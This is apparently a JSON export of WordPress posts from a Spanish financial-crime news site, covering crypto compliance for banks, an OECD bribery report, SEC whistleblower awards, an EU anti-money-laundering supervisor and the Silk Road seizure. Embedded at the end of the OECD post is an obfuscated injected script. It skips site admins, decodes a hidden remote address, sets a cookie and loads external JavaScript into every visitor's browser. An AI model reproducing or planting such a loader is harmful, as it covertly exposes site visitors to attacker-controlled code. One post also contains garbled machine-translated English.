estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de 